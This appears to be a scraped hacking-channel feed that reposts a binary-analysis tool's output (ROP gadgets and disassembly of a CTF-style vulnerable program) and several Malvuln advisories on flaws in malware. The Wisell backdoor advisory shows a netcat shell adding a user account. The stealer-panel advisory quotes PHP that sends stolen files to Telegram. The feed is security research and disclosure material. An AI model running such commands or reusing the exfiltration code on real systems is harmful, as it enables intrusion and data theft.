0002054 0x0000000000002054
0x000000000000004c 0x000000000000004c R 0x4
GNU_STACK 0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 RWE 0x10
GNU_RELRO 0x0000000000002da0 0x0000000000003da0 0x0000000000003da0
0x0000000000000260 0x0000000000000260 R 0x1
[] Loaded 14 cached gadgets for ‘programvuln’ ROP GADGETS : 0x1017 : add esp, 8;ret 0x1016 : add rsp, 8;ret 0x1221 : leave;ret 0x128c : pop r12;pop r13;pop r14;pop r15;ret 0x128e : pop r13;pop r14;pop r15;ret 0x1290 : pop r14;pop r15;ret 0x1292 : pop r15;ret 0x128b : pop rbp;pop r12;pop r13;pop r14;pop r15;ret 0x128f : pop rbp;pop r14;pop r15;ret 0x1193 : pop rbp;ret 0x1293 : pop rdi;ret 0x1291 : pop rsi;pop r15;ret 0x128d : pop rsp;pop r13;pop r14;pop r15;ret 0x101a : ret PLT TABLE : cxa_finalize : 0x1074 puts : 0x1084 system : 0x1094 printf : 0x10a4 gets : 0x10b4 GOT TABLE : ITM_deregisterTMCloneTable : 0x3fd8 __libc_start_main : 0x3fe0 __gmon_start : 0x3fe8 _ITM_registerTMCloneTable : 0x3ff0 __cxa_finalize : 0x3ff8 puts : 0x3fb8 system : 0x3fc0 printf : 0x3fc8 gets : 0x3fd0 FUNCTION TABLE : __libc_csu_fini : 0x12a0 __libc_csu_init : 0x1230 win : 0x11a9 _start : 0x10c0 main : 0x11d POSSIBLE USER DEFINED FUNCTIONS : win : 0x11a9 main : 0x11d6 ASSEMBLY AND DECOMPILED CODE : [] ASM – win :
┌ 45: sym.win ();
│ 0x000011a9 f30f1efa endbr64
│ 0x000011ad 55 push rbp
│ 0x000011ae 4889e5 mov rbp, rsp
│ 0x000011b1 488d3d500e00. lea rdi, str.You_have_bypassed_this_function ; 0x2008 ; “You have bypassed this function” ; const char *format
│ 0x000011b8 b800000000 mov eax, 0
│ 0x000011bd e8defeffff call sym.imp.printf ; int printf(const char *format)
│ 0x000011c2 488d3d5f0e00. lea rdi, str.cat_flag.txt ; 0x2028 ; “cat flag.txt” ; const char *string
│ 0x000011c9 b800000000 mov eax, 0
│ 0x000011ce e8bdfeffff call sym.imp.system ; int system(const char *string)
│ 0x000011d3 90 nop
│ 0x000011d4 5d pop rbp
└ 0x000011d5 c3 ret
[] DECOMPILED CODE – win : void sym.win(void) { sym.imp.printf(“You have bypassed this function”); sym.imp.system(“cat flag.txt”); return; } [] ASM – main :
; DATA XREF from entry0 @ 0x10e1
┌ 77: int main (int argc, char **argv, char **envp);
│ ; var char *s @ rbp-0x40
│ 0x000011d6 f30f1efa endbr64
│ 0x000011da 55 push rbp
│ 0x000011db 4889e5 mov rbp, rsp
│ 0x000011de 4883ec40 sub rsp, 0x40
│ 0x000011e2 488d3d4c0e00. lea rdi, str.Enter_your_name ; 0x2035 ; “Enter your name” ; const char *s
│ 0x000011e9 e892feffff call sym.imp.puts ; int puts(const char *s)
│ 0x000011ee 488d45c0 lea rax, [s]
│ 0x000011f2 4889c7 mov rdi, rax ; char *s
│ 0x000011f5 b800000000 mov eax, 0
│ 0x000011fa e8b1feffff call sym.imp.gets ; char *gets(char *s)
│ 0x000011ff 488d3d3f0e00. lea rdi, str.Your_name_is ; 0x2045 ; “Your name is ” ; const char *format
│ 0x00001206 b800000000 mov eax, 0
│ 0x0000120b e890feffff call sym.imp.printf ; int printf(const char *format)
│ 0x00001210 488d45c0 lea rax, [s]
│ 0x00001214 4889c7 mov rdi, rax ; const char *s
│ 0x00001217 e864feffff call sym.imp.puts ; int puts(const char s) │ 0x0000121c b800000000 mov eax, 0 │ 0x00001221 c9 leave └ 0x00001222 c3 ret [] DECOMPILED CODE – main :
WARNING: [r2ghidra] Failed to match type char * for variable s to Decompiler type:
undefined8 main(void)
{ undefined8 s;
sym.imp.puts(“Enter your name”);
sym.imp.gets(&s);
sym.imp.printf(“Your name is “);
sym.imp.puts(&s);
return 0;
}
VULNERABLE FUNCTIONS :
Possible vulnerability locations – Command Execution
0x000011ce e8bdfeffff call sym.imp.system ; int system(const char *string)
Possible vulnerability locations – Format String
0x000011bd e8defeffff call sym.imp.printf ; int printf(const char *format)
0x0000120b e890feffff call sym.imp.printf ; int printf(const char *format) Possible vulnerability locations – Buffer Overflow
0x000011fa e8b1feffff call sym.imp.gets ; char *gets(char *s)

You can also pass arguments and get the info based on your needs,

ra@ubuntu:~/elfxtract$ p[...]

___________________________
@hacking_Attack
@Hacking_Video

ython3 main.py -h
_ _ | | | | \ \ / / | | |
| | | | | |_ \ V /| |_ _ _ _ _ | |_ | || | | | / | | ‘/ ` |/ | | | || || | / /^\ \ || | | (| | (| |
_/_____/_| \/ \/__|| _,|__|__|
@aidenpearce369
usage: main.py [-h] -f FILE [-a] [-i] [-g] [–user-func] [–get-func GET_FUNC] [–asm-only]
[–decompiled-only] [-t]
optional arguments:
-h, –help show this help message and exit
-f FILE, –file FILE Path of the ELF
-a, –all Extract all info
-i, –info Displays basic info
-g, –gadgets Displays gadgets
–user-func Displays the details of user defined functions
–get-func GET_FUNC Displays the ASM & decompiled code of the given function
–asm-only Displays the ASM of ELF
–-decompiled-only Displays the decompiled C code of ELF
-t, –tables Displays PLT, GOT & Function table Download

___________________________
@hacking_Attack
@Hacking_Video

My First Blind XSS
https://mohitkumar0786.medium.com/my-first-blind-xss-3ff09d9cc0c5?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

DisclaimerContinue reading on Medium » (https://mohitkumar0786.medium.com/my-first-blind-xss-3ff09d9cc0c5?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Ransomware Builder Babuk Insecure Permissions

https://2.bp.blogspot.com/-weqZA-ftzQE/WWlvbeJCv3I/AAAAAAAAIPM/_poAex3uv6ENktRwTJkjqdNNBZYRKBnvQCLcBGAs/s1600/h74.png
Ransomware Builder Babuk malware suffers from an insecure permissions vulnerability.

MD5 | a0cd8289685e1605dfafad9ad4ee310e

Download
Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/5dfa998f62612e10d5d28d26948dd50f.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Ransomware Builder Babuk
Vulnerability: Insecure Permissions
Description: The malware creates directorys with insecure permissions when write to c:\ drive, granting change (C) permissions to the authenticated user group. Standard users can rename the executable dropped by the malware to disable it or replace it with their own executable. Then wait for a privileged user to logon to the infected machine to potentially escalate privileges.
Type: PE32
MD5: 5dfa998f62612e10d5d28d26948dd50f
Vuln ID: MVID-2022-0461
Disclosure: 01/19/2022
Exploit/PoC:
C:\>builder.exe
Usage: builder.exe FolderName

C:\>builder.exe c:\hate
Creating folder 'c:\hate'
curve25519 keys generated.
"c:\hate\e_win.exe" written!
"c:\hate\d_win.exe" written!
"c:\hate\e_esxi.out" written!
"c:\hate\d_esxi.out" written!
"c:\hate\e_nas_x86.out" written!
"c:\hate\d_nas_x86.out" written!
"c:\hate\e_nas_arm.out" written!
"c:\hate\d_nas_arm.out" written!
"c:\hate\kp.curve25519" written!
"c:\hate\ks.curve25519" written!
Press any key to continue . . .

C:\>cacls \hate
C:\hate BUILTIN\Administrators:(OI)(CI)(ID)F
NT AUTHORITY\SYSTEM:(OI)(CI)(ID)F
BUILTIN\Users:(OI)(CI)(ID)R
NT AUTHORITY\Authenticated Users:(ID)C
NT AUTHORITY\Authenticated Users:(OI)(CI)(IO)(ID)C
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Backdoor.Win32.Wisell Remote Command Execution

https://4.bp.blogspot.com/-OTiSJPLOhfQ/WWlvdFudhmI/AAAAAAAAIPg/Ji3s4Viv0XwGl76TD9pbO-WowW5kHfgewCLcBGAs/s1600/h78.png
Backdoor.Win32.Wisell malware suffers from a remote command execution vulnerability.

MD5 | 235e6158650f534d03cf794bbe213c8c

Download
Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/57bda78cc5fd6a06017148bae28e8e39.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Wisell
Vulnerability: Unauthenticated Remote Command Execution
Description: The malware listens on TCP port 5277. Third-party attackers who can reach an infected system can run any OS commands further compromising the host.
Type: PE32
MD5: 57bda78cc5fd6a06017148bae28e8e39
Vuln ID: MVID-2022-0460
Disclosure: 01/19/2022

Exploit/PoC:
nc64.exe x.x.x.x 5277
WinShell v1.0 - '!' to quit, 'enter' to shell...
Microsoft Windows [Version 10.0.16299.309]
(c) 2017 Microsoft Corporation. All rights reserved.

C:\dump>whoami
whoami
desktop-2c3iqho\victim

C:\dump>net user HYP3RLINX 666 /add
net user HYP3RLINX 666 /add
The command completed successfully.
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
CollectorStealerBuilder Panel 2.0.0 Insecure Credential Storage

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
CollectorStealerBuilder Panel 2.0.0 Man-In-The-Middle

https://3.bp.blogspot.com/-S3Qyj_CQLZk/WWlvO05KSCI/AAAAAAAAIM0/1UOPsv562Y4pHjCru7b9m-kScCR1bHauwCLcBGAs/s1600/h27.png
The panel for Collector Stealer malware version 2.0.0 suffers from a man-in-the-middle vulnerability.

MD5 | 78d4972e4013313c7d6d598a0bb2c3dc

Download
Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/54530f88c8e4f4371c9418f00c256b1d_B.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: CollectorStealerBuilder v2.0.0 Panel
Vulnerability: Man-in-the-Middle (MITM)
Description: MITM vector exists as the CURL request used when sending data to "api.telegram.org/bot" has CURLOPT_SSL_VERIFYPEER set to false. CURLOPT_SSL_VERIFYPEER checks if remote certificate is valid and that you trust was issued by a CA you trust and it's genuine.
Type: WebUI
MD5: 54530f88c8e4f4371c9418f00c256b1d
MD5: 8c003105229554557c75ec836b4fcf79 (collect.php)
Vuln ID: MVID-2022-0459
Disclosure: 01/19/2022

Exploit/PoC:
Vulnerable "collect.php" code snippet.

$desc = "_________________________ \r\n\n🏴 IP: " . $ip . "\n🌐 Country: " . $country . "\n🏠 City: " . $city . "\n🔧 Build: ". $Build[1] . "\r\n_________________________ \n\n" . $desc; // Добавляем айпи и город
$url = "https://api.telegram.org/bot" . $token . "/sendDocument";
$document = new CURLFile(realpath($dest_path));
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, ["chat_id" => $chat_id, "document" => $document, "caption" => $desc]);
curl_setopt($ch, CURLOPT_HTTPHEADER, ["Content-Type:multipart/form-data"]);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$out = curl_exec($ch);
curl_close($ch);
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
VulturiBuilder Insecure Permissions

https://3.bp.blogspot.com/-L1ywDwIvHnM/WWlvbqBqi6I/AAAAAAAAIPQ/e-y1sGxHKpMGeO7A8b-5LHWSXrbuRWhUwCLcBGAs/s1600/h73.png
VulturiBuilder malware suffers from an insecure permissions vulnerability.

MD5 | ae3e3340f93567f3bbe330d3e69b0088

Download
Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/ca294b2f778abc14fef6313b3cea7155.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: VulturiBuilder
Vulnerability: Insecure Permissions
Description: The malware writes an .EXE with insecure permissions under c:\ drive granting change (C) permissions to the authenticated user group. Standard users can rename the executable dropped by the malware to disable it or replace it with their own executable. Then wait for a privileged user to logon to the infected machine to potentially escalate privileges.
Type: PE32
MD5: ca294b2f778abc14fef6313b3cea7155
Vuln ID: MVID-2022-0457
Disclosure: 01/19/2022
Exploit/PoC:
C:\>cacls hate.exe
C:\hate.exe BUILTIN\Administrators:(ID)F
NT AUTHORITY\SYSTEM:(ID)F
BUILTIN\Users:(ID)R
NT AUTHORITY\Authenticated Users:(ID)C
C:\>dir hate.exe
Volume in drive C has no label.

Directory of C:\

01/11/2022 07:25 PM 298,496 hate.exe
1 File(s) 298,496 bytes
0 Dir(s) 27,531,624,448 bytes free
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Steganography — Crack password protected message!

https://cdn-images-1.medium.com/max/1640/1*TME_UOT0Ysds2gmOI-N9nw.png
Welcome.

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Types of Network Security Tools

https://cdn-images-1.medium.com/max/728/1*G1lmxAFrTTC0DL8AvA0FWw.jpeg
Hey Amazing Hackers, welcome back to my blogpost today I am going to cover about some sniffing tools and how hackers do use those tools…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
How many user accounts were hacked on Crypto.com ?

https://cdn-images-1.medium.com/max/1280/0*B7d31V938DGDq8Ek.jpg
For once, it’s not decentralized finance (DeFi) that is the subject of a hack. After suspicions of hacks earlier this week, the…

Continue reading on CryptoStars »

___________________________
@hacking_Attack
@Hacking_Video